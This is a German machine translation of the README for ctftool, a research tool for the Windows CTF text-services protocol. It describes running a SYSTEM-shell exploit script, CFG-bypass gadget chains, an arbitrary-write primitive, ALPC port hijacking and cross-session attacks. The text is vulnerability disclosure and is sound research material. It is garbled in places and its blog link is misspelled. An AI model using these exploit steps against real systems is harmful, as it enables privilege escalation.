Möchten Sie nur das System Exploit testen? Klicken Sie hier.

Dies ist ctftool , ein interaktives Befehlszeilen-Tool zum Experimentieren mit CTF, einem wenig bekannten Protokoll, das unter Windows verwendet wird, um Textdienste zu implementieren. Dies kann nützlich sein, um Windows -Interna zu untersuchen, komplexe Probleme mit Texteingangsprozessoren zu debuggen und Windows Security zu analysieren.
Es ist möglich, einfache Skripte mit ctftool zu schreiben, um die Interaktion mit CTF -Clients oder Servern zu automatisieren oder einfaches Fuzzing durchzuführen.
Es gibt einen Blog -Beitrag, der die Veröffentlichung dieses hier verfügbaren Tools begleitet.
https://googleprojejzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool wurde unter Windows 7, Windows 8 und Windows 10 getestet. Sowohl 32-Bit- als auch X64-Versionen werden unterstützt, X64 wurde jedoch ausführlicher getestet.
Es gibt Online -Hilfe für die meisten Befehle, geben Sie einfach help ein, um eine Liste von Befehlen anzuzeigen, und help <command> um detaillierte Hilfe für einen bestimmten Befehl anzuzeigen.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
Das erste, was Sie tun möchten, ist eine Verbindung zu einer Sitzung herzustellen und zu sehen, welche Kunden verbunden sind.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Sie können dann experimentieren, indem Sie Befehle an den Server oder an die angeschlossenen Clients senden und empfangen.
Wenn Sie es nicht selbst bauen möchten, lesen Sie die Registerkarte "Veröffentlichungen"
Ich habe GNU Make und Visual Studio 2019 verwendet, um ctftool zu entwickeln. Es werden nur 32-Bit-Builds unterstützt, da das Tool auf X86- und X64-Fenstern ausgeführt wird.
Wenn alle Abhängigkeiten installiert sind, sollte das make in einer Entwicklereingabeaufforderung ausreichen.
Ich verwende die Variante "Build Tools" von Visual Studio, und die einzigen, die ich ausgewählt habe, sind MSVC, MSBUILD, CMAKE und das SDK.
Dieses Projekt verwendet Submodules für einige der Abhängigkeiten. Stellen Sie sicher, dass Sie einen Befehl wie diesen verwenden, um den gesamten erforderlichen Code zu holen.
git submodule update --init --recursive
Die Beispiele funktionieren nur unter Windows 10 x64. Alle Plattformen und Versionen seit Windows XP sind betroffen, derzeit wird jedoch kein POC implementiert.
Dieses Tool wurde verwendet, um viele kritische Sicherheitsprobleme mit dem CTF -Protokoll zu entdecken, das seit Jahrzehnten existiert.
Wenn Sie nur einen Exploit unter Windows 10 x64 1903 testen möchten, laufen Sie aus oder doppelklicken Sie auf ctftool.exe und geben Sie diesen Befehl ein:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
Dies wartet, bis der UAC -Dialog angezeigt wird, ihn gefährden und eine Shell starten.
Tatsächlich ist der Exploit -Code in zwei Phasen aufgeteilt, die Sie unabhängig verwenden können. Zum Beispiel möchten Sie möglicherweise einen Prozess, der einem Benutzer in einer anderen Sitzung gehört, mit den optionalen Parametern zum connect gefährden.
Die meisten CTF -Clients können beeinträchtigt werden, da die Kernel Anwendungen erzwingen, die Windows zum Laden der gefährdeten Bibliothek zeichnen.
Stellen Sie einfach eine Verbindung zu einer Sitzung her, wählen Sie einen Client aus, der Kompromisse eingehen (verwenden Sie die Befehle von scan und thread oder wait einfach).
ctf> script .scriptsctf-exploit-common-win10.ctf
Es war eine große Herausforderung, eine CFG -Sprungkette zu errichten, die bei den meisten CTF -Kunden arbeitete. Der endgültige Exploit enthält zwei Hauptkomponenten, einen willkürlichen Schreibprimitiv und das Einrichten unserer Register für den Aufruf LoadLibrary() .
Sie können
dumpbin /headers /loadconfigverwenden, um die zeitelistischen Zweigziele zu entsorgen.
Ich brauche ein willkürliches Schreibgerät, um Objekte an einem vorhersehbaren Ort zu erstellen. Das beste nutzbare Gerät, das ich finden konnte, war eine willkürliche DWORD -Dekrementierung in msvcrt!_init_time .
Dies bedeutet, dass wir nicht nur die gewünschten Werte festlegen, sondern dass wir weiter abnehmen, bis der LSB den gewünschten Wert erreicht. Dies ist eine Menge Arbeit, aber wir müssen nie mehr als (2^8 - 1) * len Deconements machen.

Mit diesem Primitiv baue ich ein solches Objekt in einem ungenutzten Abschnitt Kernel32 .data auf. Es muss Teil eines Bildes sein, damit ich vorhersagen kann, wo es zugeordnet wird, da die Bild-Randomisierung auf Windows pro Start ist.

Es gab (natürlich) viele willkürliche Schreibgeräte, das Problem bestand darin, die Kontrolle über die Ausführung nach dem Schreiben wiederzugewinnen. Dies erwies sich als sehr herausfordernd, und das ist der Grund, warum ich mit einem DWORD -Dekrement anstelle von etwas Einfacherem festgefahren war.
MSCTF fängt alle Ausnahmen auf, sodass die Herausforderung darin bestand, ein willkürliches Schreiben zu finden, das den Stapel nicht durcheinander gebracht hat, so dass Seh überlebte oder sehr schnell stürzte, ohne Schaden zu verursachen.
Das msvcrt!_init_time Gadget war das Beste, was ich finden konnte, innerhalb weniger Anweisungen null, ohne mehr Speicher zu vermitteln. Dies bedeutet, dass wir es in Infinitum wiederholen können.
Ich fand zwei nützliche Geräte zum Anpassen von Registern, der erste war:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
Und der zweite war:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
Indem wir diese beiden Geräte mit dem Objekt kombinieren, das wir mit unserem Schreibgericht gebildet haben, können wir die Ausführung in kernel32!LoadLibraryA , indem wir zwischen ihnen springen.
Dies war kompliziert, aber die Sprungsequenz funktioniert wie folgt:

Wenn Sie interessiert sind, empfehle ich, es in einem Debugger anzusehen. Beachten Sie, dass Sie den Befehl sxd av und sxd bpe verwenden müssen oder der Debugger für jedes Schreiben aufhört!
Abgesehen von der Korruption von Speicher sind eine von CTF entlarvte wichtige Verwundbarkeitsklasse bearbeitete Sitzungsangriffe . Normalerweise wäre ein nicht privilegierter Prozess (z. B. eine geringe Integrität) nicht gestattet, Eingaben oder Lesen von Daten aus einem hohen privilegierten Prozess zu senden. Diese Sicherheitsgrenze heißt UIPI, Benutzeroberflächen -Privilegisolation .
CTF bricht diese Annahmen aus und ermöglicht es nicht privilegierte Prozesse, Eingaben an privilegierte Prozesse zu senden.
Soweit ich weiß, dass dieser Angriff funktioniert, wird dies nur dann funktioniert, wenn eine Display-Sprache installiert ist, die einen OOP-Tipp verwendet, der nicht prozessierte Texteingangsprozessor . Benutzer mit Inputsprachen, die IMES (Chinesisch, Japanisch, Koreanisch usw.) und Benutzer mit A11Y -Tools verwenden, fallen in diese Kategorie.
Beispielangriffe umfassen ...
Das Skript -Verzeichnis gibt es ein Beispielskript, in dem die Eingabe an ein Notizblockfenster gesendet wird, um zu demonstrieren, wie die Bearbeitungssitzungen funktionieren.

Da zwischen Clients und Servern im CTF -Protokoll keine Authentifizierung vorliegt, kann ein Angreifer mit den erforderlichen Berechtigungen an BaseNamedObjects den CTF -ALPC -Anschluss erstellen und vorgeben, der Monitor zu sein.
Auf diese Weise können alle vom Monitor erzwungenen Beschränkungen umgangen werden.
Wenn Sie mit diesem Angriff experimentieren möchten, probieren Sie den Befehl hijack in ctftool aus.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
Es gibt keine Sitzungsisolation im CTF -Protokoll, jeder Prozess kann eine Verbindung zu jedem CTF -Server herstellen. Beispielsweise kann ein Benutzer Terminal Services -Benutzer mit den Prozessen eines anderen Benutzers, auch des Administrators, interagieren.
Der Befehl connect in ctftool unterstützt die Verbindung zu Nicht-Default-Sitzungen, wenn Sie mit diesem Angriff experimentieren möchten.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
Zum Zeitpunkt des Schreibens ist nicht bekannt, wie Microsoft das CTF -Protokoll als Reaktion auf die zahlreichen Designfehler dieses Tools verändert.
Betrachten Sie dieses Tool aus diesem Grund als im Nachweis des Konzepts.
Alle Versionen von Windows seit Windows XP verwenden CTF auf allen unterstützten Plattformen.
Obwohl sie bis XP nicht Teil des Basissystems sind, verwenden Versionen bereits als Windows 98 und NT4 CTF, wenn Sie Microsoft Office installieren würden.
ctftool unterstützt Windows 7 und später X86 und X64, aber frühere Versionen und andere Plattformen könnten unterstützt werden, und Beiträge würden geschätzt.
Microsoft dokumentiert nicht, wofür CTF steht. Es wird in keiner der Textdienste, SDK -Samples, Symbolnamen, Header -Dateien oder irgendwo anders erklärt. Meine Theorie ist es von CTextFramework , was Sie die Klasse in ungarischer Notation nennen könnten.
Es gibt einige Websites, auf denen
ctfmonetwas mit klaren Schriftarten oder dem Azure Collaborative Translation Framework zu tun hat. Sie haben sich irren.
UPDATE: Jake Nelson findet Beweise für "gemeinsames Textframework"
Tavis Ormandy [email protected]
Der gesamte Originalcode ist Apache 2.0. Weitere Informationen finden Sie in Lizenzdatei.
Die folgenden Komponenten sind Projekte von Drittanbietern.
GetProcAddress() für 64-Bit-Module aus einem 32-Bit-Prozess zu implementieren. Dies wird im symbol verwendet und ermöglicht dasselbe Binärdatum an X64 und X86.